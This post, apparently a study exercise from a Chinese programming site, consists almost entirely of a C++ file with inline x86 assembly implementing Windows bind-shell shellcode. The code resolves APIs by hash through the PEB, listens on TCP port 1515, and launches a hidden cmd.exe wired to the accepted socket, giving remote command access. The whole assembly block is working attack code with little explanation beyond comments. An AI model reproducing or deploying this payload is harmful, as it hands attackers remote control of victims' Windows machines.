FirstPayload

烂漫一生 提交于 2019-11-27 07:58:46

FirstPayload

// FirstPayload.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//​#include "pch.h"#include <iostream>​int main(){    __asm    {    SUB ESP,0x20 // 开辟一段栈空间,增加健壮性    push ebp    mov ebp,esp    sub esp,0x10    JMP tag_Shellcode  // 前置代码,避免后面的数据被解释为指令         // cmd.exe    // [tag_Next-0x25]    _asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)    _asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)​    // ws2_32.dll\0             // [tag_Next-0x1D]    _asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)    _asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)    _asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)        // kernel32.dll    // [tag_Next-0x12]    _asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)    _asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)    _asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)    _asm _emit(0x00)​    tag_Shellcode:             //1.GetPCCALL tag_Nexttag_Next:pop ebx                             // BaseAddr         mov [ebp-0x04],ebx                  // LOCAL_1=Shellcode BaseAddr// 2.获取关键模块基址mov esi,dword ptr fs:[0x30]         // PEB的地址mov esi,[esi+0x0C]                  // 指向PEB_LDR_DATA的指针mov esi,[esi+0x1C]                  // 模块链表指针mov esi,[esi]                           // 访问链表中的第二个条目mov edx,[esi+0x08]                  // 获取Kernel32.dll基址// 3.获取LoadLibraryExA的函数地址push edx                            // ImageBase =Kernel32.dllpush 0xC0D83287                     // nHashDigest=LoadLibraryExA Digestcall fun_GetFunAddrByHash           // 根据哈希值找函数地址的自定义函数mov edi,eax                         // LoadLibraryExA​// 4.加载Kernel32.dll,增强兼容性(win7取得的是KernelBase.dll的基址)lea esi,[ebx-0x12]                  // kernel32.dll\0push 0                              //  /-dwFlags=0push 0                              //  |-hFile =0push esi                            //  |-lpLibFileName =kernel32.dllcall edi                            // LoadLibraryExA()mov [ebp-0x08],eax                  // LOCAL2=Kernel32.dll基址​// 5.加载ws2_32.dll以方便后面的网络通信编程lea esi, [ebx - 0x1D]                // ws2_32.dll\0push 0                               //  /-dwFlags=0push 0                               //  |-hFile =0push esi                             //  |-lpLibFileName =ws2_32.dllcall edi                             // LoadLibraryExA()mov[ebp - 0x0C], eax                 // LOCAL3=ws2_32.dll基址​// 6. 执行Payload部分push [ebp-0x0C]                      // ws2_32.dll基址push [ebp-0x08]                      // Kernel32.dll基址push [ebp-0x04]                      // BaseAddrcall fun_Payload                     //​// 7.Payload执行完毕,结束程序,防止被调试分析push [ebp-0x08]                      // IMAGEBASE =PARAM_2(Kernel32.dll)push 0x4FD18963                      // nHashDigest=ExitProcess Digestcall fun_GetFunAddrByHash            // fun_GetFunAddrByHashpush 0                               //  /-uExitCode =NULLcall eax                             // ExitProcess()mov esp,ebp                          //pop ebp                              //​////////////////////////////////////////////////////////////////////////////根据哈希值获取函数,返回值为关键函数地址//////////////////////////////////////////////////////////////////////////fun_GetFunAddrByHash://(int nHashDigest,int ImageBase)​push ebpmov ebp,espsub esp,0x0Cpush edx// 1.获取EAT ENT EOTmov edx,[ebp+0x0C]  // PARAM_1 (ImageBase)mov esi,[edx+0x3C]  // IMAGE_DOS_HEADER.E_LFANEWlea esi,[edx+esi]   // PE文件头mov esi,[esi+0x78]  // IMAGE_DIR...EXPORT.VirtualAddresslea esi,[edx+esi]   // 导出表首地址mov edi,[esi+0x1C]  // IMAGE_EXP...ORY.AddressOfFunctionslea edi,[edx+edi]   // EAT首地址mov [ebp-0x04],edi  // LOCAL_1 EAT首地址mov edi,[esi+0x20]  // IMAGE_EXP...ORY.AddressOfNameslea edi,[edx+edi]   // ENT首地址mov [ebp-0x08],edi  // LOCAL_2 ENT首地址mov edi,[esi+0x24]  // IMAGE_EXP...ORY.AddressOfNameOrdinalslea edi,[edx+edi]   // EOT首地址mov [ebp-0x0C],edi  // EOT首地址// 2.循环对比ENT中的函数名xor ecx,ecxjmp tag_FirstCmptag_CmpFunNameLoop:inc ecxtag_FirstCmp:mov esi,[ebp-0x08]      // LOCAL_2e ENTmov esi,[esi+4*ecx]     // ENT RVAmov edx,[ebp+0x0C]      // PARAM_1 IMAGEBASElea esi,[edx+esi]       // ENT VApush [ebp+0x08]         // 传参nDigest = PARAM_1(nDigest)push esi                // 传参strFunName = ENT VAcall fun_Hash_CmpString // 比较哈希值test eax,eax            // 如果相等eax为1,否则为0je tag_CmpFunNameLoop   // 备注,书本上是jne// 3.成功后找到对应的序号mov esi,[ebp-0x0C]      // LOCAL_3 EOTxor edi,edimov di,[esi+ecx*2]      // 用函数名数组下标在序号数组找到对应的序号// 4.使用序号作为索引,找到函数名所对应的函数地址mov edx,[ebp-0x04]      // LOCAL_1 EATmov esi,[edx+edi*4]     // 用序号在函数地址数组找到对应的函数地址mov edx,[ebp+0x0C]      // param_1 imagebase// 5.返回获取到的关键函数地址lea eax,[edx+esi]       // 返回GetProcAddress的地址pop edxmov esp,ebppop ebpretn 0x08​fun_Hash_CmpString: //(char * strFunName,int nDigest)push ebpmov ebp,espsub esp,0x04        //开辟局部变量并清零mov dword ptr [ebp-0x04],0x00push ebx            //保存用到的寄存器push ecxpush edxmov esi,[ebp+0x08]  // PARAM_1(strFunName)xor ecx,ecxxor eax,eaxtag_HashLoop:mov al,[esi+ecx]    // al=字符串的第ecx个字符test al,al          // 判断是否为0,为0结束循环jz tag_HashEnd​mov ebx,[ebp-0x04]  // LOCAL_1(摘要)shl ebx,0x19        // 摘要<<0x19(25)mov edx,[ebp-0x04]  // LOCAL_1(摘要)shr edx,0x07        // 摘要>>0x07(07)or ebx,edx          // ebx|edxadd ebx,eax         // edx+字符的ASCIImov [ebp-0x04],ebxinc ecx             // ecx++jmp tag_HashLoop​​​tag_HashEnd:mov ebx,[ebp+0x0C]  // PARAM_2(nDigest)mov edx,[ebp-0x04]  // LOCAL_1(摘要)xor eax,eaxcmp ebx,edxjne tag_FunEnd      // 备注mov eax,1​tag_FunEnd:pop edxpop ecxpop ebxmov esp,ebppop ebpretn 0x08​////////////////////////////////////////////////////////////////////////////有效荷载,返回值NULL//////////////////////////////////////////////////////////////////////////fun_Payload:// (int BaseAddr,int Kernel32_Base,int ws2_32_Base)push ebpmov ebp,espsub esp,0x300// 1.初始化Winsock服务push [ebp+0x10]                     // IMAGEBASE =PARAM_3(ws2_32.dll)push 0x80B46A3D                     // nHashDigest =WSAStartup Digestcall fun_GetFunAddrByHash           // fun_GetFunAddrByHashlea esi ,[ebp-0x300]                // WSADatapush esi                            // /-lpWSAData=WSADATApush 0x0202                         // |-wVersionRequested=2.2call eax                            // WSAStartup()test eax,eaxjnz tag_PaloadEnd// 2.创建一个原始套接字push [ebp+0x10]                     // IMAGEBASE =PARAM_3(WS2_32.dll)push 0xDE78322D                     // nHashDigest =WSASocketA Digestcall fun_GetFunAddrByHash           // fun_GetFunAddrByHashpush 0                              //  /-dwFlags=0push 0                              //  |-g =0push 0                              //  |-lpProtocolInfo=0push 6                              //  |-protocol=IPPROTO_TCPpush 1                              //  |-type=SOCK_STREAMpush 2                              //  |-AF =af_inetcall eax                            //  WSASocketA()mov[ebp - 0x04], eax                //  LOCAL_1=SOCKET​// 3. 在任意地址(INADDR_ANY)上绑定一个端口1515[0x05BE-->0XBE05]push[ebp + 0x10]                    // IMAGEBASE =PARAM_3(WS2_32.dll)PUSH 0xDDA71064                     // nHashDigest =bind Digestcall fun_GetFunAddrByHash           // fun_GetFunAddrByHashmov word ptr [ebp-0x200],0x02       // /SOCKADDR_IN.sin_family=AF_INETmov word ptr [ebp-0x1FE],0xEB05     // |SOCKADDR_IN.sin_port=0xEB05(1515)mov dword ptr [ebp-0x1FC],0         // \SOCKADDR_IN.sin_addr=INADDR_ANYlea esi,[ebp-0x200]                 //  SOCKADDR_INpush 0x14                           // /-namelen =0x14push esi                            // |-name =SOCKADDR_INpush [ebp-0x04]                     // |-s LOCAL_1(socket)call eax                            // bind()test eax,eax                        //jnz tag_PaloadEnd// 4. 监听申请的连接,队列中可容纳5个链接push[ebp + 0x10]                    // IMAGEBASE =PARAM_3(WS2_32.dll)push 0x4BD39F0C                     // nHashDigest =listen Digestcall fun_GetFunAddrByHash           // fun_GetFunAddrByHashpush 0x7FFFFFFF                     // /-backlog =SOMAXCONNpush[ebp - 0x04]                    // |-s LOCAL_1(socket)call eax                            // listen()test eax, eaxjnz tag_PaloadEnd​// 5. 接受一个链接push[ebp + 0x10]                    // IMAGEBASE =PARAM_3(WS2_32.dll)push 0x01971EB1    // nHashDigest =accept Digestcall fun_GetFunAddrByHash           // fun_GetFunAddrByHashpush 0                              // /-addrlen =0push 0                              // /-addr =0push[ebp - 0x04]                    // |-s LOCAL_1(socket)call eax                            // accept()mov [ebp-0x04],eax                  // LOCAL_1(SOCKET)=SOCKET​// 6.创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字下​push[ebp + 0x0C]                    // IMAGEBASE =PARAM_3(kernel32.dll)push 0x6BA6BCC9    // nHashDigest =CreateProcessA Digestcall fun_GetFunAddrByHash           // fun_GetFunAddrByHashmov edx,eax                         // CreateProcessAlea edi,[ebp-0x90]                  // /-清空STARTUPINFOAmov ecx,0x11                        // |-STARTUPINFOAmov eax,0x00                        // |-从[ebp-0x90]开始cld                                 // |-到[ebp-0x48]结束rep stosd                           // |-mov dword ptr [ebp-0x90],0x00000044 // |-STA...A.cb=48mov dword ptr [ebp-0x64],0x00000100 // |-STA...A.dwFlags=startf...mov word ptr [ebp-0x60],0x0000      // |-STA...A.wShowWindow=SW_HIDEmov esi,[ebp-0x04]                  // |-LOCAL_1(SOCKET)mov dword ptr[ebp - 0x58], esi      // |-STA...A.hStdInput=SOCKETmov dword ptr[ebp - 0x54], esi      // |-STA...A.hStdOutput=SOCKETmov dword ptr[ebp - 0x50], esi      // \-STA...A.hStdError =SOCKETlea esi,[ebp-0x90]                  // STARTUPINFOAlea edi,[ebp-0x200]                 // PROCESS_INFORMATIONmov ebx,[ebp+0x08]                  // PARAM_1(BaseAddr)lea ebx,[ebx-0x25]                  // cmd.exe\0                                    push edi                            // /-lpProcessInformation=PROCESS_INFORMATIONpush esi                            // |-lpStartupInfo =STARTUPINFOApush 0                              // |-lpCurrentDirectory=0push 0                              // |-lpEnvironment=0push 0                              // |-dwCreationFlags=0push 1                              // |-bInheritHandles=1push 0                              // |-lpThreadAttributes=0push 0                              // |-lpProcessAttributs=0push ebx                            // |-lpCommandLine=cmd.exe\0push 0                              // |-lpApplicationName=0call edx                            // CreateProcessA()tag_PaloadEnd:                      // mov esp,ebp                         // pop ebp                             // retn 0x0C                           // ​​​​​    }}​​​
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!